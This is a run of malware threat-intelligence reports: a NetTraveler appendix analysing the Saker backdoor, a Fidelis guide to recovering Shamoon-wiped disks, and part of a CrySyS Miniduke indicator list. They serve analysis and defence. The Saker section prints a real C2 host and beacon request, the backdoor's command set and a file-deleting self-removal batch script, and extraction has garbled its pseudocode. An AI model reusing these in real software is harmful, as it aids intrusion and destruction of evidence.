monitoring disk processing issue As we mentioned above the drive monitoring thread uses the same function to process removable usb drives and network shares attached as local drives. Visible separation of these two types of disk drives (in the name of the options Gsearch and usearch, where u probably stands for usb and G is for Glob- al, and in separate logical branches of code flow) is later misused, as the drive processing routines is bound to usb drives. At least it read u-prefixed options from dnlist.ini file, which logically corresponds to the usb-type of disk drive, but used for both. While this is a minor issue and probably didnt cause a serious problem for the attackers, this shows that the developer felt lazy at some point and used copy and Paste approach to avoid creating extra code. it could also mean that one part of the code was created by one person and later modified by another, who mistakenly over- looked general code design. Data decompression routine the malware uses a custom data compres- sion algorithm when uploading files to the cc server. While the decompression is not required for the work of the application, the code for the decompression routine was also found in the malicious module. this clearly indicates a design flaw and shows that the de- veloper didnt review the code on a binary level after it was compiled, which is common among beginners among malware authors and quite widespread among common software develop- ers. saker (xbox) dropper and loader saKer (xbox) droPPer and loader mD5 c239af6aff1226fa2 b2bb77dfec865ce create date (GmT) 2013.03.13 12:39:21 Size 67072 vulnerability Targeted 6.0 (msVc 6.0) descriPtion the module is non-packed Win32 Pe executable file compiled in microsoft Visual c 6.0. Al- though no encryption or compression is used to protect or hide parts of the code, simple obfus- cation is applied to internal strings. the module main purpose is to install and embedded dll file or load it during system startup. technicAl detAils execution of the main function starts with ob- taining local user startup directory. this path is appended with \service.lnk. 42 The NeTTraveler the strings, which are used in the application are stored in simple obfuscated form. For example, the Kaspersky lab is stored as K.sp4r6ky aa,. the 1, 4, 6, 10 and 12 characters are re- placed with hardcoded character constants as shown below: then the module gets local temP folder path and constructs paths Temp\service.dll and Temp\service.exe. After that the code checks if the current module file name is called service.exe. if current module is not called service.exe, the module copies itself to tmP\service. exe and creates corresponding lnK file in lo- cal users startup folder pointing to the freshly created executable. the executable file is as- signed an attribute hidden and started in a new process. then the module checks if Kasper- sky products are installed on local system by iterating through ProGrAmFiles directory and looking for kaspersky lab subdirectory. if it finds Kaspersky products it quickly exits, if not it attempts to self-delete by running cmd.exe /c del moduleName and then exits. if the module was already installed in the system and is called service.exe, it checks if system mu- tex object called SecuT already exists and exits if its true. this is done to avoid multiple instances of the module from running simultaneously. After that, the module creates a new file at Temp\service.dll and saves a part of own data to the new file. the data offset is hardcoded as a string 46592. next, it attempts to load the temP\service. dll library file and call export function named JustTempfun. After that the module enters an infinite sleep loop. 43 APPendix A: mAlWAre technicAl AnAlysis saKer (xbox) bacKdoor (droPPed file) mD5 6312bc2b156062 ba5358e7099a88bb95 create date (GmT) 2013.03.13 12:35:11 Size 46592 vulnerability Targeted 6.0 (msVc 6.0) descriPtion the module is a non-packed Win32 dll exe- cutable file compiled in microsoft Visual c 6.0. Although no encryption or compression is used to protect or hide parts of the code, simple obfuscation is applied to internal strings. the module is to clearly a backdoor application that enables an attacker to manage files, get infor- mation about local disk drives, download and start new executables. this backdoor is probably authored by the same developer who created the Gh0st / Zegost rAt. technicAl detAils this module has 2 export functions: JustTemp- fun and servicemain. module main function as well as servicemain are empty procedures. so far, all functionality of the module is located in JusttempFun function. meanwhile, there is another known malicious dll which has exactly these export names - Gh0st rAt, that was also developed by chinese. When this module is loaded with xbox loader described above execution is started with Just- tempFun exported function. this function begins with deobfuscation of the strings used further: pitgay.minidns.net 8090BBBBBBBBBBBB GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG SakerEvent FFFFFFFFFFFFFFFF Proxy HHHHHHHHHHHHHHHH obviously pitgay.minidns.net is the cc server domain name. 8090 is the port the malware con- nects to. As for the GGG..., FFF... and hhh... strings, according to the further code analysis they are used as a placeholders for the hardcode proxy settings: the FFF... placeholder may contain Proxy string instead of F sequence which works as a flag to use the proxy settings from the GGG... placeholder in the form that wininet accepts (according to msdn, the format is httphttp:// http_proxy other). the hhh... placeholder is for proxy username and password. the thread collects information about the local system, such as os version cPu type 44 The NeTTraveler used and available memory local system name used and available disk space of the drive c:\ the last value is converted to a hexstring of 8 characters and xor-ed with current computer name. the purpose of this value is unclear. then the information collected before is encrypt- ed using simple string obfuscation algorithm, shown below in a pseudo code: void ObfuscateString(char strIn, char strOut, int nLen) char c for (i0i nLen i) c strIn[i] 32 if(c 9) strOut[2i] c0x30 else strOut[2i] c0x37 if(strIn[i] 9) strOut[2i1] strIn[i]0x30 else strOut[2i1] strIn[i]0x37 this algorithm not only adds obfuscation but also adds some redundancy, which doubles the size of the input string. the module attempts to connect to a cc server and issue using the following url: http://pitgay.minidns.net:8090/3010... Also, it uses a hardcoded user-Agent string. there is not query string parameters, the data is transferred in a form of cGi path consisting of hex numbers only and prefixed with 3010, which makes such requests rather unique. 3010 most likely defines client request id. here is how a request may look: GET /301000000000F0FD...0000000000000000000 000000 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win- dows NT 5.0 .NET CLR 1.1.4322) Host: tsgoogoo.net Host: pitgay.minidns.net:8090 Cache-Control: no-cache the module checks the server response code and if that is httP 200, it reads 2 dWord values (lets call them ParamA and Paramb) from the the server response. the first dWord (ParamA) defines the command and following execution path. below is the inte- ger values and commands description: 45 APPendix A: mAlWAre technicAl AnAlysis 1020: Shutdown 1021: Shutdown both 1020 and 1021 commands are used to interrupt execution of the module and terminate the main thread. the module also sets local thread privileges to enable global system shut- down, however this is not used later and proba- bly represents some remains of the code written earlier or another variant of the code. this is also confirmed by by the shutdown procedure exe- cuted afterwards, which is designed to disable Windows hook mechanism while it wasnt used previously anywhere in the code. 1022: Self-remove this command is used to self-remove current module and stop its execution. it attempts to create a local batch file named del.bat with the following contents and run it: echo off ping /n 5 127.0.0.1 nul nul del /f/s/q/a CurrentModuleDir\service.exe nul del /f/s/q/a CurrentModuleDir\service.dll nul del 0 /s/q/a/f del.bat Please note non-standard way to call Windows command line interpreter which starts from re- direction of output to nul virtual device. Also, the command arguments are not separated with space or tab characters, and it might look invalid, however cmd.exe on Windows xP, Windows 7 and Windows 8 executed it correctly without a problem. 1029: file manager the command spawns a new thread which opens a new session with the server to provide file management operations. the new thread makes 2 httP Get requests to the server, which are identical to the 3010 request described above. the only difference is the request id, which is 4001 and 4002 for the first and second requests correspondingly. the output of the 4001 request is ignored, while request 4002 is interpreted. the server response contains 2 dWord values: lets call them filecmdid and DataSize. if data- size is non-zero the module fetches additional data which length is specified in the datasize option. the Filecmdid defines which operation must be executed. it can be one of the following values: 5001: Get drive information. Provides informa- tion about specified disk drive: free space, drive type. client command success code is 0, error code is 7004. 5002: Get file information. Provides information about specified file: file times, attributes. client command success code is 0, error code is 7003. 5003: Get directory information. Provides information about specified directory: directory 46 The NeTTraveler times, attributes, full size. client command suc- cess code is 0, error code is 7003. 5004: Get directory listing. Provide simple di- rectory listing, which includes file names, sizes, last write time. client command success code is 0, error code is 7001. 5006: create directory. create a new directory, which full path is provided by the server. client command success code is 0, error code is 7016. 5008: list drives. list available disk drives with information about free space. client command success code is 0, error code is not defined. 5009: run application. run local application with path and command line arguments passed from the server. client command success code is 0, error code is 7005. 5017: Get recursive directory listing. Provide recursive directory listing. client command suc- cess code is 0, error code is 7000. 5025: run pushed executable. this command is used to save file pushed by the server and run instantly. When this command is received the module checks if it can create a new file, which name is passed by the server response. if it fails it submits error code 7003. then it spawns a new thread which issues a new httP Post request with command id 3005 and system in- formation attached in the cGi Path. the request of the server should contain file data to write to the already opened file and execute right away. 5026: upload file to the server. the command is used to read local file and transfer it to the server. it gets file information, including time- stamps and size and spawns a new thread. if any of those operations fails the module reports er- ror code 7003 to the server. otherwise it reports success code 0 and spawns a new thread. the new thread reads the file specified in the request and uploads it to the server. 1039: Download and run new module. the module uses Paramb as an integer value indicating a length of a string to read next from the server response. the received string will be used as a newFilename. then it reads another dWord value from the server response and interprets it as a size of the following data to read. After that a new directory internet ex- plorer is created in the directory of the current running module. then the module creates a new file using the value newFilename pushed by the server. the module makes 2 attempts to start a new process: by calling createProcessA system APi and shellexecuteA if the previous call failed. the code was designed to support more com- mands (1028, 1029, 1032, 1033, 1034, 1035, 1036), however they are now falling into com- mand 1029 handler and then ignored. We cre- ated a chart showing a tree of commands de- pendencies: 47 APPendix A: mAlWAre technicAl AnAlysis the execution of this command processing thread continues in a loop until it is interrupt- ed by shutdown command coming from the server. the code starts new loop iteration after hardcoded value of 30 seconds. www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of General Dynamics Fidelis Cybersecurity Solutions, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis makes no guarantee that the information contained herein is error free.
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Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 1 of 9 Fidelis Threat Advisory 1007 RECOVERING FROM SHAMOON November 1, 2012 Document Status: FINAL Last Revised: 2012-11-01 Executive Summary The Shamoon malware has received considerable coverage in the past couple of months because of its destructive nature. Despite assertions that it is the work of amateurs, it has had a major impact on companies believed to have been affected. The basic functions of the malware are to infect, entrench, propagate, and wipe. However because of the way the malware operates and how it is programmed to wipe, it can find itself being its own enemy. It will wipe data found in the Documents and Settings folder and the System32 folder, and then use a signed driver for disk access to start wiping at the disk level. Because the operating system needs certain files in the System32 folder to run, it was found that infected hosts will always restart before the malware can wipe completely at the disk level. Due to this it was possible to make a complete recovery of Shamoon-infected file systems to the state they were in before the wiping made the OS unbootable and unreadable. In fact the majority of files outside of the System32 and Document and Settings folder are recoverable as well this provided the opportunity for a successful and fruitful analysis, investigation, and remediation effort. Threat Overview According to community write-ups, the Shamoon malware appears to have been deployed against a couple of entities on or about August 15, 2012. The malware had self-propagating qualities and was designed to overwrite data on disks attached to or accessible from targeted systems. The malwares functionality, briefly summarized below, was covered in some detail in community postings, such as Kasperskys Securelist blog. Analysis details and testing of an available sample of Shamoon by General Dynamics Fidelis Cybersecurity Solutions researchers revealed that the malwares wipe operations did not overwrite entire disks, but rather overwrote enough to prevent access to the affected file systems, along with substantial amounts of file data. However, analysis indicated that some files were still intact after the malwares write operations and subsequent system reboot. www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 2 of 9 Fidelis researchers surmised there might be a means of recovering file data from targeted systems from a forensic and investigative analysis point of view. With this goal in mind, researchers tested several possible ways of restoring disk data critical to the access of the targeted disks file system. What follows is a brief description of what the sample of the Shamoon malware does and a description and results of researchers file system recovery efforts. Shamoon Wiper Functionality Actions: - Executes a copy of itself as a scheduled job - Deletes the file created for the scheduled job - Entrenches itself as a service - Execution of the entrenched file results in a dropped driver - The dropped driver is loaded and executed - The dropped driver facilitates disk access - The malware overwrites disk data to include the contents of \\Documents and Settings (user data) and \\Windows\system32 (system data) directories - The malware eventually overwrites the disks boot records (Master Boot Record (MBR) and Volume Boot Record (VBR)) (Note: Testing was accomplished on disks with one partition) - The malware appears to target user data first, then system data - The nature of the overwrites is such that the malware writes only a certain amount of data to targeted files, starting at the files beginning (Offset 0x0) and then writing a certain amount of data to other file locations - Fidelis researcher observations included the following: o At some point during the writing (wiping) process, the targeted system tries to read file data that has been overwritten, prompting an attempt to restore the involved file o The system asks the user for media containing system files when it cannot find the system files it is looking for o The targeted system eventually reboots, resulting an error on restart because of the overwritten boot records o The disks targeted in testing were not completely overwritten there was still apparently viable file data on the targeted disks o The result of the malwares operation was the prevention of accessing the targeted file system Note: The Shamoon sample Fidelis researchers had available looked very similar to that detailed in community write-ups. However, as of the date of publication, researchers were still analyzing the available sample. Therefore, differences between the available sample and others available to the community may become apparent in the future. Analysis and Testing Overview Fidelis initially approached the Shamoon analysis strictly from a perspective of determining what forensic artifacts could be recovered from a targeted system. The goal was at least a partial www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 3 of 9 reconstruction of the events precipitating the Shamoon attack, and possibly using those events found on the targeted systems to determine a start of the attack, and a possible source. Analysis revealed the possibility that some user data would be recovered as a side benefit to the forensic analysis process. Three types of operating systems were used for testing purposes all testing occurred on laptops. The laptops were wiped, had the operating system installed, and then had the Shamoon malware executed on the system. The three operating systems used for testing were Windows XP, Windows 2003, and Windows 7. The malware executed with no issues except on Windows 7. The User Access Control (UAC) on the Windows 7 systems had to be turned off before the malware would execute and perform the wiping action as has been observed on other machines. This has been noted by others in the community as well, specifically that Administrator access is needed for initially launching Shamoon. Shamoon operation results in much of the data on the affected systems being overwritten with the fragmented image of a burning flag. As has been detailed above, the wipe function will overwrite data within the Documents and Settings folder followed by the System32 folder, and then it will start the physical disk access and start the wiping at the disk level. If the system restarts before the malware has completed wiping the disk then much of the data can still be recovered: each of our tests showed the system did restart before the disk was completely wiped. The amount wiped from the host will never be the same from system to system, mainly because the size of the disk and partitions will all need to be taken into account. VBR and File System Recovery Strategies The following is the view of the wiped disk for each of the operating systems that we tested: Fig 1.
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Example of wiped of MBR and VBR wiped by Shamoon Malware. Figure 1 was found at the MBR (Sector 0) and the VBR (Sector 63/56 (XP, 2003), and 2048/206848 (7)) of each of the operating systems (As well as throughout the drive). Fidelis www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 4 of 9 researchers decided to look further into the drive and find if there was any possibility of recovering files or logs that would help illuminate what happened to the systems, and if any artifacts of the malware could be recovered. Note on the VBR: VBR stands for Volume Boot Record, and is made up of the boot sector and bootstrap code. The boot sector takes up 1 sector on the drive the next 6 sectors on the drive are allocated for the bootstrap code. In all 16 sectors are allocated in total for the VBR. The VBR is created when a file system is created on a partition. In this paper we will be covering the NTFS Boot Record. The VBR is used to load machine code into RAM to start a program. Normally this program is the operating system. Keyword searches revealed that there were still files that would be recoverable on the system. In particular it was found that registry files and headers were still on the disk. After this, it was found that the Master File Table (MFT) was still, for the most part, intact. Trying to avoid the long and laborious process of carving files from the disk, researchers decided that it would instead be worth the time to try and recover the file system. When the Windows operating system is installed or an NTFS volume created, a backup copy of the VBR is written to the last sector of the volume. This is a very important detail, as the forensic value of the VBR is substantial (See Figure 2). The area that will contain the critical information is known as the Bios Parameter Block (BPB). With this information it is possible to rebuild the file system as it existed before the wipe. www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 5 of 9 EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00 00 00 00 00 00 F8 00 00 3F 00 FF 00 3F 00 00 00 00 00 00 00 80 00 80 00 C0 F8 F8 0D 00 00 00 00 00 00 0C 00 00 00 00 00 8C 8F DF 00 00 00 00 00 F6 00 00 00 01 00 00 00 26 FA CA 70 02 CB 70 44 00 00 00 00 [ Truncated for size ] 00 00 55 AA EB 52 90 Instruction to jump to boot code (Not necessary for our application) 4E 54 46 53 20 20 20 20 OEM Name (NTFS ) 00 02 Bytes per sector, 0x0200 512 Bytes. 08 Sectors per cluster 8 F8 Media descriptor (Not necessary for our application) C0 F8 F8 0D 00 00 00 00 Total sectors in file system, 0x00DF8F8C0 234420416 Sectors (Add on the sector location of VBR for actual end of the file system, in this example the VBR is at sector 63 therefore the total sectors in the file system are 234420416 63 234420479) 00 00 0C 00 00 00 00 00 Starting cluster of the MFT, 0X000C0000 786432 Clusters. 786432 8 (Cluster size) 63 (VBR Sector) 6291519 Sectors 8C 8F DF 00 00 00 00 00 Starting cluster of the MFT mirror, 0x00DF8F8C 14651276. 14651276 8 63 117210271 Sectors F6 Size of MFT Entry, 246. 01 Index size, 1. 26 FA CA 70 02 CB 70 44 Serial number. For more technical information on file systems and their forensic value, Brian Carriers book File System Forensic Analysis is an invaluable tool. Fig 2. Example of a broken down BPB found within the boot sector. Just because the boot sector of the VBR is recoverable doesnt mean that everything on the file system will be restored to normal. If a file was wiped by the malware then it will still be wiped, or partially wiped. However files that werent wiped will be much easier and faster to recover then carving and the context of each file will be easy to interpret. To recover or identify the backup VBR a search will need to be run across the image file. It is preferable if the image file is a raw image as they are easier to edit then other image file formats. The search was performed for the hex of the VBR file header, EB 52 90 4E 54 46 53 (RNTFS). A few hits were found throughout the drive, and it appeared that there were multiple empty VBR templates throughout the system (Shown in Figure 3). The correct VBR will likely be the one with information filled in from offset 10 80 (See Figure 2 to breakdown). During testing it was found that the last hit was normally the correct VBR, as this would be the VBR found at the end of the volume. www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 6 of 9 Fig 3. Example of a blank VBR. Note: On 2003 systems the boot backup is sometimes found halfway through the partition, a manual parsing of the file will need to be performed to confirm the VBR is legitimate for the partition. Once the VBR was found we noted the offset and calculated the sector to locate the backup in our desired forensic program. For the purposes of testing we used EnCase (v6.19.6). Once the sector of the backup VBR is known, EnCase was started and the image of the infected system was loaded. Within disk view we located the backup VBR and right clicked to add a manual partition as an NTFS file system. The partition was added, the MFT read, and the file system appeared: www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 7 of 9 Fig 4. File system recovered within EnCase. With the file system restored some relevant artifacts can be located now, and an actual computer forensic examination can take place. This recovery can be successful without the use of the EnCase suite of forensic software as well. Using a hex editor of your choice to repair the image, in our testing WinHex (16.6) was used. Find the file header of the backup VBR within a file editor, copy from the header to footer of the boot sector the footer will always be 55 AA. The size will be 512 bytes from header to footer. Then depending on what operating system is being examined you can write the copied boot sector to the appropriate sector on the affected image. Placing the boot sector into the correct location will be the trickiest part as incorrect placement will result in the file system not being recognized. The boot sector should be placed at sector 63/56 for XP/2003, and at sector 2048/206848 for Windows 7. After this is complete you will be able to add the image into the forensic program. If the file system is not recognized then it is possible that the MBR will need to be reconstructed, though this is unlikely. Before rebuilding the MBR try adding the image as a volume and not as a disk. Note: Other recovery techniques are certainly viable as well. There are automated partition rebuilding tools available, though some of these rely on a valid MBR to work properly (In this case that wouldnt be feasible). Other options would be the fixboot command from the Windows Recovery Console found on a Windows OS disk. What we have presented here are forensically sound methods that are easily repeatable and least damaging to the evidence/image. Multiple Partition Recovery Strategies For testing purposes the system with Windows 2003 was set up with three different partitions. We wanted to emulate the situation in which one would have multiple partitions on the computers, as is quite common. Conceivably the malware should wipe all of these partitions as well, as has been seen within the code of the malware. What we wanted to look at was the extent of the wiping on the partitions and whether the same techniques that were applied to a single partitioned drive would still apply on the multiple partitioned drive. In theory each partition should be recoverable, as non-bootable partitions still create a VBR and place the backup at the end of the partition when a NTFS file system is installed. After searching www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 8 of 9 through the drive we found that there were three VBRs that all seemed to have corresponding information for the partitions that were originally created. On our test system we found that EnCase was not adding the partitions in a way that would recognize the file system as it did for the other systems. This could be because our boot sector was at sector 56 and not 63, or because the multiple partitions clash when trying to add them in. We ended up having to edit the image by adding the backup boot sectors into the correct sector where the originals were found. Partition Boot Sector Placed At Backup Boot Sector 1 (Primary) 56 41926079 2 41926080 62417879 3 62417880 82909679 Fig 5. VBR Placement in Windows 2003 Note: The VBR placement for the next partition starts after the backup VBR of the preceding partition. Once the VBRs were added correctly we proceeded to add the partitions into EnCase. Fig 6. Reconstructed file system of a Windows 2003 operating system wiped by Shamoon. Note: EnCase gives default volume labels when added, so C, D, and E are respectively 1, 2, and 3. The extent of the wiping appeared to be on the same level to what was found on single partitioned drives. As mentioned before this was to be expected as the malware tries to wipe mounted and other volumes first and will then move to the primary volume (1/C). www.fidelissecurity.com www.threatgeek.com FidSecSys 1 800.652.4020 Threat Advisory 1007 Rev. 2012-11-01 Recovering From Shamoon Copyright 2012 General Dynamics Fidelis Cybersecurity Solutions Page 9 of 9 The Fidelis Take Fidelis researchers have developed a set of rules for detecting the Shamoon malware along the entire threat life cycle: initial infection, lateral propagation, and command and control communication. The embedded malware detection engine also recognizes the variant of Shamoon malware analyzed. All sensor configurations are capable of detecting the initial infection and the command and control communication, and the Fidelis XPS Internal Sensor is required for detecting the lateral movement of the malicious program. Further Reading Shamoon the Wiper Copycats at Work (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work Shamoon the Wiper in details, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193795/Shamoon_the_Wiper_in_details Shamoon the Wiper in details II, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from http://www.securelist.com/en/blog/208193834/Shamoon_The_Wiper_further_details_Part_II Shamoon, a two-staged targeted attack (2012), retrieved 26 Oct 2012 from http://blog.seculert.com/2012/08/shamoon-two-stage-targeted-attack.html Shamoon Virus Most Destructive Ever To Hit A Business, Leon Panetta Warns (2012), retrieved from http://www.huffingtonpost.com/2012/10/11/shamoon-virus-leon- panetta_n_1960113.html Carrier, Brian (2005). File System Forensic Analysis. Upper Saddle River, NJ: Pearson Education Inc. Technical Report by Laboratory of Cryptography and System Security (CrySyS Lab) http://www.crysys.hu/ Budapest University of Technology and Economics Department of Networked Systems and Services http://www.bme.hu/ Miniduke: Indicators v1.00 (Feb 27, 2013) Authors: CrySyS Malware Intelligence Team. Based on joint work with Kaspersky Labs GREAT Team Document history 27/02/2013 Initial release Table of contents 1. Introduction .............................................................................................................................................4 2. Known malware samples.....................................................................................................................5 3. Detection of the running malware ................................................................................................ 11 4. CC communication ........................................................................................................................... 13 4.1. Detection of CC communications..............................................................................................................15 4.2. Initial CC communication ............................................................................................................................15 4.3.
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Other indicators of CC communication: Google and Twitter queries......................................18 1. Introduction Our malware analysis team in the CrySyS Lab, Budapest worked together with Kaspersky Labs on the analysis of the Miniduke malware. Our participation in this research was justified by a detected Hungarian incident. A detailed report on the results of our joint efforts has been published by Kaspersky Labs Securelist blog site (see link below). The Kaspersky Labs report describes what we currently know about the operation of Miniduke including its stages, and also information on the CC infrastructure and communications. In this report, we summarize the indicators of a Miniduke infection, and give specific hints on its detection. The Kaspersky Labs report is available at https://www.securelist.com/en/blog/208194129/The_MiniDuke_Mystery_PDF_0_day _Government_Spy_Assembler_Micro_Backdoor 2. Known malware samples The available malware samples are highly obfuscated, and compiled by a polymorphic compiler. The attackers were able to produce new variants with only a few minutes difference between compile times. Therefore the number of distinct samples could be very large. bg_sthg.gif and bg_sthg.gif_dec refers to pieces of stage 2 of the malware, which are downloaded from the CC server by the stage 1 code. bg_sthg.gif is a gif file that contains encrypted code, bg_sthg.gif is the corresponding decrypted file. bg_sthg.gif is generally 24484 bytes long, while bg_sthg.gif_dec is 22784 bytes long. 3e71a9f492101bde28cf9f024d87b496 bg_aefk.gif a4ad6b55b1bc9e16123de1388f6ef9bf bg_aefk.gif.dec 92a2c993b7a1849f11e8a95defacd2f7 bg_afvd.gif 297ef5bf99b5e4fd413f3755ba6aad79 bg_afvd.gif.dec 06def6c642dcbd58d0291ac110a57274 bg_dafd.gif 2679e112f908fbf4ac96d87f7fdc46ca bg_dafd.gif.dec afe0190820b3edc296daefe6d1611051 bg_dasfs.gif e196fa056d1a728d9ba9654fbc482777 bg_dasfs.gif.dec 7049aa581874752093bb98850ff45dac bg_dfdsh.gif 441ee6a307e672c24d334d66cd7b2e1a bg_dfdsh.gif.dec e975e87bec844c882bf6d60604fc996b bg_dfell.gif a58e8e935341b6f5cc1369c616de3765 bg_dfell.gif.dec 0a2da3c2c6b94c925459bc5e32bbb03c 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6f530edc584a18df98ee7fade2dd03b610955e23 bg_lkje.gif.dec 8802cbff6f2b39932e9b699d89a6f3a407cd39a7 bg_lkjkef.gif c0c26060b4f003322f3cda9dee294fd6221b85da bg_lkjkef.gif.dec 1160010b1df2601fe176353be76ba1a922425dc6 bg_oef.gif edf74413a6e2763147184b5e1b8732537a854365 bg_oef.gif.dec 49989446d542b1face2c031a205a702178dc2496 bg_ojlro.gif ebe78cc14bb8e13374da4264c41df24dc0ceeaa7 bg_ojlro.gif.dec 071b67b2645e574f6fc5ba889c041bb2ee85f6d8 bg_qdf.gif 31ab6830f4e39c2c520ae55d4c4bffe0b347c947 bg_qdf.gif.dec 53d1c812510c51d0b6eec767d15f740ea54135b5 bg_qrg.gif 223c7eb7b9dde08ee028bba6552409ee144db54a bg_qrg.gif.dec be1a53afaab89f47a91a21b0d65415af1b5d1bff bg_rie.gif 3171957cfeb7b415f21b04f9a587b0c339b5c0e3 bg_rie.gif.dec 898a3e5e34eeb3349aa6f291c31195dc02bb9530 bg_ruie.gif f0f7d755add2305bceaacfe6840d61ccd5f03b0f bg_ruie.gif.dec 0b1e28ecd5b4eb14519470775dce965c63579640 bg_sasd.gif 683104d28bd5c52c53d2e6c710a7bd19676c28b8 bg_sasd.gif.dec ba884173e98a4f2b6af6acc7f702ead14b146960 bg_sdef.gif f30ba7eeebd97843f0bcf9c3930741fa29c132cd bg_sdef.gif.dec 6c889228219012b25387bf3e063136b994d2dcac bg_sdefk.gif e804f3bf72bfda867fd3725a82da6212e29dbfc4 bg_sdefk.gif.dec 07e26464e17a750bb60665c377b41efd23c440b6 bg_sfef.gif 827de388e0feabd92fe7bd433138aa35142bd01a bg_sfef.gif.dec 28ec7eb49f7af3ca7787e4566b144d8ea544a78d bg_ureio.gif 08a4baa154dc41d7dee9bd424c2679253c743ee3 bg_ureio.gif.dec 84fa36acb51a0569ed931f1db5d44ec907dcb624 bg_wdf.gif d81b0705d26390eb82188c03644786dd6f1a2a9e bg_wdf.gif.dec Figure 2 SHA1 checksum list of pieces of stage 2 of the known samples id.gif files are pieces of stage 3 codes prepared for specific victims with id used as an ID. These are typically 334093 byte long files with a 13-byte long gif header. Below, we list the hashes of these files in case of the decrypted files with .gif_dec extension, we list the hashes for the internal decrypted PE file. 07a9975d7d96ff3b56de024ab2017582 1109821546.gif 43cd449e3b0c1ecde8136eeb710de233 174239657.gif 85a645c42e2fcf718c211ebc6cbc71b8 2334309658.gif a9315dc0ff95809839af3b95e7de329d 2618653991.gif 92ff4df1d079a003ae2a8ac47dd5e81b 2627081433.gif bf0253ee830b498bd442c3b97aec1270 3100425864.gif c48d0822eedd75c9c56f688fb8a05259 3198217296.gif 44ee71de720fc1a50c919bc5a01c592d 3946889701.gif 626489f8cafacb1b24fe6ecf0db52f23 3979106736.gif 03f8485cacb0458194d2bbef9f33cc06 626088424.gif 738c60fff066934b6f33e368cfe9a88c 1109821546.gif_dec cf59ed2b5473281cc2e083eba3f4b662 174239657.gif_dec b8d1d74a0ad4985adaf9afe4c868ae0b 2334309658.gif_dec c79a35313238e71a17d19de979a0d63a 2618653991.gif_dec 18e64b8e5ce5bdd33ce8bd9e00af672c 2627081433.gif_dec 86ef8f5f62ae8590d6edf45e04806515 3100425864.gif_dec 4c6608203e751cf27f627220269d6835 3198217296.gif_dec 78e51be60eab2c6e952c9538a46ab521 3946889701.gif_dec b798c968cbfd53f878e13c7698610d9c 3979106736.gif_dec f5f84c0c7ae871c2aa3cfe25199da628 626088424.gif_dec 738c60fff066934b6f33e368cfe9a88c 1109821546.gif_dec 07a9975d7d96ff3b56de024ab2017582 1109821546.gif f78454d4ac3e4fe9ef5cac69b1ec43d7 4137794344.gif 811f66d6dd2c713073c0b0aebbe74ce8 4137794344.gif_dec Figure 3 MD5 checksums of pieces of stage 3 code 31a31f6be9c31cb2d02c04176eb500f1aba14dd0 174239657.gif 804701959a1dbfbbfc6d8142de850db9fce9a611 1109821546.gif ac4642885ca779e7b66b8bb6aa21d3c0396f7a1d 2334309658.gif d8c6d3e6988516595399003d1db0abd7df334d87 2618653991.gif 6cf8ca847ee317255a9084bb44ae3f38ef61e5c3 2627081433.gif 0fc29adc3aca39f32763096e090a6a69e50a716f 3100425864.gif 1df9b4dc693ce7250f51cbc7ced53ad0a6e1c587 3198217296.gif 9d716d2f8f1c2841a2707eba2ebadd01ed830030 3946889701.gif 497f9c688ed142ae91e354b3d9c9e13243a268b0 3979106736.gif b464fc5cab7a93e5607b2abb49f343e81f4fa2f1 626088424.gif 15c75472f160f082f6905d57a98de94c026e2c56 1109821546.gif_dec 00852745cb40730dc333124549a768b471dff4bc 174239657.gif_dec 8cce571ca74e4b0074c09acb814541a0192ea9a8 2334309658.gif_dec 781d0b12bbe0a862d4a5527cd85489551cfe5d31 2618653991.gif_dec e4add0b118113b2627143c7ef1d5b1327de395f1 2627081433.gif_dec 493d0660c9cf738be08209bfd56351d4cf075877 3100425864.gif_dec 118114446847ead7a2fe87ecb4943fdbdd2bbd1e 3198217296.gif_dec 0e263d80c46d5a538115f71e077a6175168abc5c 3946889701.gif_dec d22d80da6f042c4da3392a69c713ee4d64be8bc8 3979106736.gif_dec 71d059edb81acb6b65213386bda3e2bdc724fa0f 626088424.gif_dec 15c75472f160f082f6905d57a98de94c026e2c56 1109821546.gif_dec 804701959a1dbfbbfc6d8142de850db9fce9a611 1109821546.gif e17d004cd57f5f5eaa3652c926793d57ef88f1ec 4137794344.gif 416d1035168b99cc8ba7227d4c7c3c6bc1ce169a 4137794344.gif_dec Figure 4 SHA1 checksums of pieces of stage 3 code 3668b018b4bb080d1875aee346e3650a action_plan.pdf (Country: Belgium) 88292d7181514fda5390292d73da28d4 ASEM_seminar.pdf (Country: Hungary) 3f301758aa3d5d123a9ddbad1890853b EUAG_report.pdf 